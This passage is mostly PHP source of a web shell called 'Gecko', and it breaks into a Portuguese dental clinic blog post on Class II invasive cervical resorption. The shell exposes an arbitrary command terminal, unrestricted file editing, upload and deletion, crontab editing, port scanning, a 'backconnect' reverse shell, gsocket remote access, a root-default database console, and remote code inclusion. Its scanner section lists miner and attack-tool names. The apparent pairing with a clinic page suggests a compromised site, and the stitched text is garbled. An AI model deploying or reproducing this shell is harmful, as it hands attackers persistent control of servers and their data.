-i|gsocket|cryptominer|xmrig|masscan|sqlmap" | grep -v grep', $baseDir); if (trim($out['output']) === '') { $out['output'] = "(no suspicious process patterns matched)\n\nFull process list (top 30):\n" . runTerminal('ps auxww 2>/dev/null | head -30', $baseDir)['output']; } } return array('ok' => true, 'output' => "=== SUSPICIOUS PROCESS SCAN ===\n\n" . $out['output']); } function btFullAudit($baseDir, $scanPath) { @set_time_limit(600); $parts = array(); $r1 = btWebshellScan($baseDir, $scanPath, true); $parts[] = $r1['output']; $parts[] = str_repeat('-', 60); $parts[] = btRecentChanges($baseDir, $scanPath, 7)['output']; $parts[] = str_repeat('-', 60); $parts[] = btWritableScan($baseDir, $scanPath)['output']; $parts[] = str_repeat('-', 60); $parts[] = btHiddenScan($baseDir, $scanPath)['output']; $parts[] = str_repeat('-', 60); $parts[] = btCronAudit($baseDir)['output']; $parts[] = str_repeat('-', 60); $parts[] = btIocScan($baseDir, $scanPath)['output']; $parts[] = str_repeat('-', 60); $parts[] = btSuspiciousProcess($baseDir)['output']; $parts[] = str_repeat('-', 60); $parts[] = btLogAudit($baseDir)['output']; return array( 'ok' => true, 'output' => implode("\n\n", $parts), 'count' => isset($r1['count']) ? $r1['count'] : 0, 'critical' => isset($r1['critical']) ? $r1['critical'] : 0, ); } function runBlueTool($tool, $input, $baseDir) { $tool = strtolower(trim((string)$tool)); $scanPath = (string)_v($input, 'path', ''); $days = (int)_v($input, 'days', 7); switch ($tool) { case 'backdoor': $aggressive = _v($input, 'aggressive', true); return btWebshellScan($baseDir, $scanPath, $aggressive); case 'delete_threats': $paths = _v($input, 'paths', array()); if (is_string($paths)) { $decoded = json_decode($paths, true); $paths = is_array($decoded) ? $decoded : array($paths); } return btDeleteThreats($baseDir, $paths); case 'quarantine_list': return btListQuarantine($baseDir); case 'restore_threats': $ids = _v($input, 'ids', array()); if (is_string($ids)) { $decoded = json_decode($ids, true); $ids = is_array($decoded) ? $decoded : array($ids); } return btRestoreThreats($baseDir, $ids); case 'fullaudit': return btFullAudit($baseDir, $scanPath); case 'recent': return btRecentChanges($baseDir, $scanPath, $days); case 'writable': return btWritableScan($baseDir, $scanPath); case 'hidden': return btHiddenScan($baseDir, $scanPath); case 'cron': return btCronAudit($baseDir); case 'logs': return btLogAudit($baseDir); case 'ioc': return btIocScan($baseDir, $scanPath); case 'process': return btSuspiciousProcess($baseDir); default: return array('ok' => false, 'error' => 'Unknown blue team tool'); } } function dbMakePdo($type, $host, $port, $user, $pass, $db) { $type = strtolower(trim((string)$type)); $host = trim((string)$host); $user = (string)$user; $pass = (string)$pass; $db = trim((string)$db); $port = (int)$port; if (!class_exists('PDO')) { return array('ok' => false, 'error' => 'PDO extension not available'); } try { if ($type === 'sqlite') { if ($db === '') { return array('ok' => false, 'error' => 'Database file path required'); } $pdo = new PDO('sqlite:' . $db); } elseif ($type === 'mysql') { if ($host === '') $host = '127.0.0.1'; if ($port <= 0) $port = 3306; $dsn = 'mysql:host=' . $host . ';port=' . $port . ';dbname=' . $db . ';charset=utf8mb4'; $pdo = new PDO($dsn, $user, $pass, array(PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION)); } elseif ($type === 'pgsql') { if ($host === '') $host = '127.0.0.1'; if ($port <= 0) $port = 5432; $dsn = 'pgsql:host=' . $host . ';port=' . $port . ';dbname=' . $db; $pdo = new PDO($dsn, $user, $pass, array(PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION)); } else { return array('ok' => false, 'error' => 'Unsupported DB type'); } $pdo->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION); return array('ok' => true, 'pdo' => $pdo); } catch (Exception $e) { return array('ok' => false, 'error' => $e->getMessage()); } } function dbRunQuery($type, $host, $port, $user, $pass, $db, $sql) { $sql = trim((string)$sql); if ($sql === '') { return array('ok' => false, 'error' => 'Empty query'); } $conn = dbMakePdo($type, $host, $port, $user, $pass, $db); if (!$conn['ok']) return $conn; /** @var PDO $pdo */ $pdo = $conn['pdo']; try { $stmt = $pdo->query($sql); if ($stmt === false) { return array('ok' => true, 'type' => 'exec', 'affected' => $pdo->lastInsertId(), 'message' => 'Query executed'); } $rows = $stmt->fetchAll(PDO::FETCH_ASSOC); $cols = array(); if (!empty($rows)) { $cols = array_keys($rows[0]); } else { $colCount = $stmt->columnCount(); for ($i = 0; $i < $colCount; $i++) { $meta = $stmt->getColumnMeta($i); if ($meta && isset($meta['name'])) $cols[] = $meta['name']; } } return array('ok' => true, 'type' => 'select', 'columns' => $cols, 'rows' => $rows, 'count' => count($rows)); } catch (Exception $e) { return array('ok' => false, 'error' => $e->getMessage()); } } function dbListTables($type, $host, $port, $user, $pass, $db) { $conn = dbMakePdo($type, $host, $port, $user, $pass, $db); if (!$conn['ok']) return $conn; /** @var PDO $pdo */ $pdo = $conn['pdo']; $type = strtolower(trim((string)$type)); try { if ($type === 'mysql') { $stmt = $pdo->query('SHOW TABLES'); } elseif ($type === 'pgsql') { $stmt = $pdo->query("SELECT tablename FROM pg_tables WHERE schemaname='public' ORDER BY tablename"); } elseif ($type === 'sqlite') { $stmt = $pdo->query("SELECT name FROM sqlite_master WHERE type='table' ORDER BY name"); } else { return array('ok' => false, 'error' => 'Unsupported DB type'); } $tables = array(); while ($row = $stmt->fetch(PDO::FETCH_NUM)) { $tables[] = $row[0]; } return array('ok' => true, 'tables' => $tables); } catch (Exception $e) { return array('ok' => false, 'error' => $e->getMessage()); } } // Helper untuk akses array yang aman (pengganti operator ??) function _v($arr, $key, $default = '') { return (isset($arr[$key]) && $arr[$key] !== null) ? $arr[$key] : $default; } // Handle download requests if (isset($_GET['download'])) { $path = resolvePath($baseDir, (string)$_GET['download']); if (!$path || is_dir($path)) { http_response_code(404); exit('Not found'); } header('Content-Type: application/octet-stream'); header('Content-Disposition: attachment; filename="' . basename($path) . '"'); header('Content-Length: ' . filesize($path)); readfile($path); exit; } // Handle inline view requests (image preview, raw text view) if (isset($_GET['view'])) { $path = resolvePath($baseDir, (string)$_GET['view']); if (!$path || is_dir($path)) { http_response_code(404); exit('Not found'); } $ext = strtolower(pathinfo($path, PATHINFO_EXTENSION)); $mimes = array( 'png' => 'image/png', 'jpg' => 'image/jpeg', 'jpeg' => 'image/jpeg', 'gif' => 'image/gif', 'webp' => 'image/webp', 'svg' => 'image/svg+xml', 'ico' => 'image/x-icon', 'bmp' => 'image/bmp', 'avif' => 'image/avif', 'pdf' => 'application/pdf', ); $mime = isset($mimes[$ext]) ? $mimes[$ext] : 'application/octet-stream'; header('Content-Type: ' . $mime); header('Content-Length: ' . filesize($path)); header('X-Content-Type-Options: nosniff'); header('Content-Disposition: inline; filename="' . basename($path) . '"'); header('Cache-Control: private, max-age=300'); readfile($path); exit; } // Adminer — single-file DB manager (cached locally) if (isset($_GET['adminer'])) { $adminerFile = __DIR__ . DIRECTORY_SEPARATOR . '.adminer.php'; if (!is_file($adminerFile)) { $ctx = stream_context_create(array('http' => array('timeout' => 15))); $data = @file_get_contents('https://www.adminer.org/latest.php', false, $ctx); if ($data && strlen($data) > 1000) { @file_put_contents($adminerFile, $data); } } if (is_file($adminerFile)) { include $adminerFile; exit; } http_response_code(503); echo 'Adminer unavailable (download failed). Use built-in DB Manager.'; exit; } if (isset($_GET['phpinfo'])) { phpinfo(); exit; } // Handle API requests if (isset($_GET['api'])) { $contentType = isset($_SERVER['CONTENT_TYPE']) ? $_SERVER['CONTENT_TYPE'] : ''; $hasJson = strpos($contentType, 'application/json') !== false; if ($hasJson) { $raw = file_get_contents('php://input'); if (!$raw) $raw = '{}'; $decoded = json_decode($raw, true); $input = is_array($decoded) ? $decoded : array(); } else { $input = $_POST; } $action = (string)_v($input, 'action', _v($_GET, 'action', 'list')); switch ($action) { case 'list': $rel = sanitizeRelPath((string)_v($input, 'path', '')); // Determine the directory to list if (preg_match('/^[A-Za-z]:\//', $rel)) { // Absolute Windows path $dir = str_replace('/', DIRECTORY_SEPARATOR, $rel); } elseif (strlen($rel) > 0 && $rel[0] === '/') { // Absolute Linux path $dir = $rel; } elseif ($rel === '') { // Default base directory $dir = $baseDir; } else { // Relative path $dir = resolvePath($baseDir, $rel); } if (!$dir || !is_dir($dir)) { jsonOut(array('ok' => false, 'error' => 'Invalid directory: ' . $rel), 403); } jsonOut(array( 'ok' => true, 'path' => $rel, 'entries' => listEntries($dir), 'disk' => array( 'free' => @disk_free_space($dir), 'total' => @disk_total_space($dir), ), )); break; case 'read': $path = resolvePath($baseDir, (string)_v($input, 'path', '')); if (!$path || is_dir($path)) jsonOut(array('ok' => false, 'error' => 'File not found'), 404); $sz = filesize($path); if (!isTextFile($path) && (int)($sz ? $sz : 0) > 512000) jsonOut(array('ok' => false, 'error' => 'File too large or binary'), 400); jsonOut(array( 'ok' => true, 'content' => file_get_contents($path), 'editable' => isTextFile($path), 'size' => filesize($path), 'modified' => filemtime($path), )); break; case 'save': $path = resolvePath($baseDir, (string)_v($input, 'path', '')); if (!$path || is_dir($path)) jsonOut(array('ok' => false, 'error' => 'File not found'), 404); if (file_put_contents($path, (string)_v($input, 'content', '')) === false) jsonOut(array('ok' => false, 'error' => 'Write failed'), 500); jsonOut(array('ok' => true, 'modified' => filemtime($path))); break; case 'mkdir': $rel = sanitizeRelPath((string)_v($input, 'path', '')); $name = basename(str_replace('\\', '/', (string)_v($input, 'name', ''))); if ($name === '' || preg_match('/[<>:"|?*\\\\\/]/', $name)) jsonOut(array('ok' => false, 'error' => 'Invalid name'), 400); $parent = resolvePath($baseDir, $rel); if (!$parent || !is_dir($parent)) jsonOut(array('ok' => false, 'error' => 'Invalid directory'), 403); $new = $parent . DIRECTORY_SEPARATOR . $name; if (file_exists($new)) jsonOut(array('ok' => false, 'error' => 'Already exists'), 409); if (!@mkdir($new, 0755)) jsonOut(array('ok' => false, 'error' => 'Create failed'), 500); jsonOut(array('ok' => true)); break; case 'create_file': $rel = sanitizeRelPath((string)_v($input, 'path', '')); $name = basename(str_replace('\\', '/', (string)_v($input, 'name', ''))); if ($name === '' || preg_match('/[<>:"|?*\\\\\/]/', $name)) jsonOut(array('ok' => false, 'error' => 'Invalid name'), 400); $parent = resolvePath($baseDir, $rel); if (!$parent || !is_dir($parent)) jsonOut(array('ok' => false, 'error' => 'Invalid directory'), 403); $new = $parent . DIRECTORY_SEPARATOR . $name; if (file_exists($new)) jsonOut(array('ok' => false, 'error' => 'Already exists'), 409); if (file_put_contents($new, (string)_v($input, 'content', '')) === false) jsonOut(array('ok' => false, 'error' => 'Create failed'), 500); jsonOut(array('ok' => true)); break; case 'delete': $path = resolvePath($baseDir, (string)_v($input, 'path', '')); if (!$path || $path === $baseDir) jsonOut(array('ok' => false, 'error' => 'Cannot delete'), 403); $ok = is_dir($path) ? @rmdir($path) : @unlink($path); if (!$ok) jsonOut(array('ok' => false, 'error' => 'Delete failed (folder must be empty)'), 500); jsonOut(array('ok' => true)); break; case 'rename': $path = resolvePath($baseDir, (string)_v($input, 'path', '')); $newName = basename(str_replace('\\', '/', (string)_v($input, 'new_name', ''))); if (!$path || $newName === '' || preg_match('/[<>:"|?*\\\\\/]/', $newName)) jsonOut(array('ok' => false, 'error' => 'Invalid request'), 400); $dest = dirname($path) . DIRECTORY_SEPARATOR . $newName; if (file_exists($dest)) jsonOut(array('ok' => false, 'error' => 'Name taken'), 409); if (!@rename($path, $dest)) jsonOut(array('ok' => false, 'error' => 'Rename failed'), 500); jsonOut(array('ok' => true, 'new_path' => ltrim(str_replace('\\', '/', substr($dest, strlen($baseDir))), '/'))); break; case 'chmod': $path = resolvePath($baseDir, (string)_v($input, 'path', '')); if (!$path) jsonOut(array('ok' => false, 'error' => 'File not found'), 404); $permString = (string)_v($input, 'perm', ''); if (!preg_match('/^[0-7]{3,4}$/', $permString)) { jsonOut(array('ok' => false, 'error' => 'Invalid permission format. Use octal (e.g., 755 or 0644)'), 400); } $octalPerm = octdec($permString); if (!@chmod($path, (int)$octalPerm)) { jsonOut(array('ok' => false, 'error' => 'Failed to change permissions'), 500); } clearstatcache(true, $path); $newPerm = substr(sprintf('%o', fileperms($path)), -4); jsonOut(array('ok' => true, 'perm' => $newPerm)); break; case 'upload': $rel = sanitizeRelPath((string)_v($_POST, 'path', '')); $parent = resolvePath($baseDir, $rel); if (!$parent || !is_dir($parent)) { jsonOut(array('ok' => false, 'error' => 'Invalid directory: ' . $rel), 403); } if (empty($_FILES['file'])) { jsonOut(array('ok' => false, 'error' => 'No file uploaded'), 400); } $f = $_FILES['file']; if ($f['error'] !== UPLOAD_ERR_OK) { $errors = array( UPLOAD_ERR_INI_SIZE => 'File too large (server limit: ' . ini_get('upload_max_filesize') . ')', UPLOAD_ERR_FORM_SIZE => 'File too large (form limit)', UPLOAD_ERR_PARTIAL => 'File only partially uploaded', UPLOAD_ERR_NO_FILE => 'No file uploaded', UPLOAD_ERR_NO_TMP_DIR => 'Missing temporary folder', UPLOAD_ERR_CANT_WRITE => 'Failed to write file', UPLOAD_ERR_EXTENSION => 'Upload blocked by extension', ); $errorMsg = isset($errors[$f['error']]) ? $errors[$f['error']] : ('Unknown upload error (code: ' . $f['error'] . ')'); jsonOut(array('ok' => false, 'error' => $errorMsg), 400); } $name = basename($f['name']); $name = preg_replace('/[<>:"|?*\\\\\/]/', '', $name); $name = trim($name); if ($name === '') { jsonOut(array('ok' => false, 'error' => 'Invalid filename'), 400); } $dest = $parent . DIRECTORY_SEPARATOR . $name; if (file_exists($dest)) { $info = pathinfo($name); $filename = isset($info['filename']) ? $info['filename'] : $name; $extension = isset($info['extension']) ? $info['extension'] : ''; $name = $filename . '_' . time() . ($extension !== '' ? '.' . $extension : ''); $dest = $parent . DIRECTORY_SEPARATOR . $name; } if (!move_uploaded_file($f['tmp_name'], $dest)) { jsonOut(array('ok' => false, 'error' => 'Failed to save file. Check folder permissions.'), 500); } @chmod($dest, 0644); jsonOut(array('ok' => true, 'name' => $name, 'message' => 'Upload successful')); break; case 'search': $query = trim((string)_v($input, 'query', '')); if ($query === '') jsonOut(array('ok' => true, 'results' => array())); $results = array(); $count = 0; searchFiles($baseDir, sanitizeRelPath((string)_v($input, 'path', '')), $query, $results, $count); jsonOut(array('ok' => true, 'results' => $results)); break; case 'terminal': $rel = sanitizeRelPath((string)_v($input, 'path', '')); $cwd = resolvePath($baseDir, $rel); if (!$cwd || !is_dir($cwd)) jsonOut(array('ok' => false, 'error' => 'Invalid cwd'), 403); $command = trim((string)_v($input, 'command', '')); if ($command === '') jsonOut(array('ok' => false, 'error' => 'Empty command'), 400); $result = runTerminal($command, $cwd); jsonOut(array('ok' => true, 'output' => $result['output'], 'exit_code' => $result['exit_code'], 'cwd' => $rel)); break; case 'drives': $drives = array(); if (strtoupper(substr(PHP_OS, 0, 3)) === 'WIN') { for ($i = 67; $i <= 90; $i++) { $drive = chr($i) . ':/'; if (@is_dir($drive)) { $free = @disk_free_space($drive); $total = @disk_total_space($drive); $drives[] = array( 'letter' => chr($i) . ':', 'path' => $drive, 'free' => $free ? $free : 0, 'total' => $total ? $total : 0, 'label' => chr($i) . ':\\', ); } } } else { // Linux/Mac - show root and common paths $commonPaths = array( '/' => 'Root (/)', '/home' => 'Home (/home)', '/var' => 'Var (/var)', '/etc' => 'Etc (/etc)', '/usr' => 'Usr (/usr)', '/tmp' => 'Tmp (/tmp)', ); foreach ($commonPaths as $path => $label) { if (@is_dir($path)) { $free = @disk_free_space($path); $total = @disk_total_space($path); $drives[] = array( 'letter' => $path, 'path' => $path, 'free' => $free ? $free : 0, 'total' => $total ? $total : 0, 'label' => $label, ); } } // Add current document root if (@is_dir($baseDir) && $baseDir !== '/') { $free = @disk_free_space($baseDir); $total = @disk_total_space($baseDir); $drives[] = array( 'letter' => $baseDir, 'path' => $baseDir, 'free' => $free ? $free : 0, 'total' => $total ? $total : 0, 'label' => 'Document Root: ' . basename($baseDir), ); } } jsonOut(array('ok' => true, 'drives' => $drives)); break; case 'info': jsonOut(array( 'ok' => true, 'php' => PHP_VERSION, 'os' => PHP_OS, 'base' => $baseDir, 'disk_free' => @disk_free_space($baseDir), 'disk_total' => @disk_total_space($baseDir), )); break; case 'cron_list': $cron = getCrontab(); jsonOut(array( 'ok' => true, 'content' => $cron['content'], 'platform' => $cron['platform'], 'editable' => $cron['editable'], )); break; case 'cron_save': $content = (string)_v($input, 'content', ''); $result = setCrontab($content); if (!$result['ok']) jsonOut($result, 400); jsonOut(array('ok' => true)); break; case 'portscan': $host = trim((string)_v($input, 'host', '127.0.0.1')); $ports = trim((string)_v($input, 'ports', '21,22,25,80,443,3306,8080')); $timeout = (int)_v($input, 'timeout', 1); $result = scanPorts($host, $ports, $timeout); if (!$result['ok']) jsonOut($result, 400); jsonOut($result); break; case 'backconnect': $ip = trim((string)_v($input, 'ip', '')); $port = (int)_v($input, 'port', 4444); $method = (string)_v($input, 'method', 'bash'); $result = startBackconnect($ip, $port, $method); if (!$result['ok']) jsonOut($result, 400); jsonOut($result); break; case 'gsocket': @set_time_limit(1800); @ini_set('max_execution_time', '1800'); $method = (string)_v($input, 'method', 'curl'); $result = runGsocket($method); if (!$result['ok']) jsonOut($result, 400); jsonOut($result); break; case 'db_tables': $result = dbListTables( (string)_v($input, 'type', 'mysql'), (string)_v($input, 'host', '127.0.0.1'), (int)_v($input, 'port', 3306), (string)_v($input, 'user', 'root'), (string)_v($input, 'pass', ''), (string)_v($input, 'db', '') ); if (!$result['ok']) jsonOut($result, 400); jsonOut($result); break; case 'db_query': $result = dbRunQuery( (string)_v($input, 'type', 'mysql'), (string)_v($input, 'host', '127.0.0.1'), (int)_v($input, 'port', 3306), (string)_v($input, 'user', 'root'), (string)_v($input, 'pass', ''), (string)_v($input, 'db', ''), (string)_v($input, 'sql', '') ); if (!$result['ok']) jsonOut($result, 400); jsonOut($result); break; case 'sec_tool': @set_time_limit(120); $tool = (string)_v($input, 'tool', 'recon'); $result = runSecTool($tool, $input, $baseDir); if (!$result['ok']) jsonOut($result, 400); jsonOut($result); break; case 'blue_tool': @set_time_limit(600); @ini_set('max_execution_time', '600'); $tool = (string)_v($input, 'tool', 'backdoor'); $result = runBlueTool($tool, $input, $baseDir); if (!$result['ok']) jsonOut($result, 400); jsonOut($result); break; case 'blue_delete': $paths = _v($input, 'paths', array()); if (is_string($paths)) { $decoded = json_decode($paths, true); $paths = is_array($decoded) ? $decoded : array($paths); } $result = btDeleteThreats($baseDir, $paths); if (!$result['ok']) jsonOut($result, 400); jsonOut($result); break; case 'blue_quarantine_list': $result = btListQuarantine($baseDir); jsonOut($result); break; case 'blue_restore': $ids = _v($input, 'ids', array()); if (is_string($ids)) { $decoded = json_decode($ids, true); $ids = is_array($decoded) ? $decoded : array($ids); } $result = btRestoreThreats($baseDir, $ids); if (!$result['ok']) jsonOut($result, 400); jsonOut($result); break; default: jsonOut(array('ok' => false, 'error' => 'Unknown action'), 400); } exit; } // Bersihkan output buffer sebelum render HTML while (ob_get_level() > 0) { ob_end_clean(); } ?> Gecko · <?= $_SERVER['SERVER_NAME'] ?>
    CtrlK

    Loading workspace…

    Fetching your files

    Blog

    rci-classe-ii

    RCI Classe II

    A Classe II de Reabsorção Cervical Invasiva exige atenção especial para evitar danos permanentes à estrutura dental. Com a tomografia de alta resolução GreenX, conseguimos identificar a profundidade da lesão e planejar o tratamento ideal para cada caso.

    Acompanhe nossa série sobre RCI e fique por dentro de como a tecnologia pode ajudar no diagnóstico preciso e no sucesso clínico.

    Entenda mais:

    O que é a classe II de RCI?

    Na Classe II, a reabsorção compromete entre 1/3 e 2/3 da raiz, mantendo-se na região cervical.

    Identificar essa lesão em estágios iniciais é fundamental para evitar danos permanentes à estrutura dentária.

    A tomografia de alta resolução revela lesões hipodensas mais amplas, mostrando com precisão a profundidade da reabsorção. Isso é crucial para decidir o melhor tratamento e prevenir a progressão da lesão.

    A Relevância da Porta de Entrada:

    Identificar se a reabsorção é supra-óssea ou infra-óssea faz toda a diferença no prognóstico.

    Uma porta de entrada supra-óssea pode ser vedada, enquanto uma infra-óssea oferece melhores chances de reparação.

    Tratamento da Classe II

    Lesões de Classe II requerem intervenções mais detalhadas, como tratamentos com MTA ou restaurações biocompatíveis, para preservar a integridade do dente e evitar a progressão para estágios mais graves.

    Quer garantir um diagnóstico preciso e um planejamento eficaz?

    Na AR Imagens, utilizamos a tomografia GreenX para oferecer segurança e eficácia em casos de RCI.

    Acompanhe nossa série e, na próxima semana, falaremos sobre a Classe III.

    Na próxima semana, falaremos sobre a Classe III de RCI. Não perca!

    Sobre o Blog

    Um canal sobre qualidade e comprometimento em radiologia odontológica. 

    Posts Recentes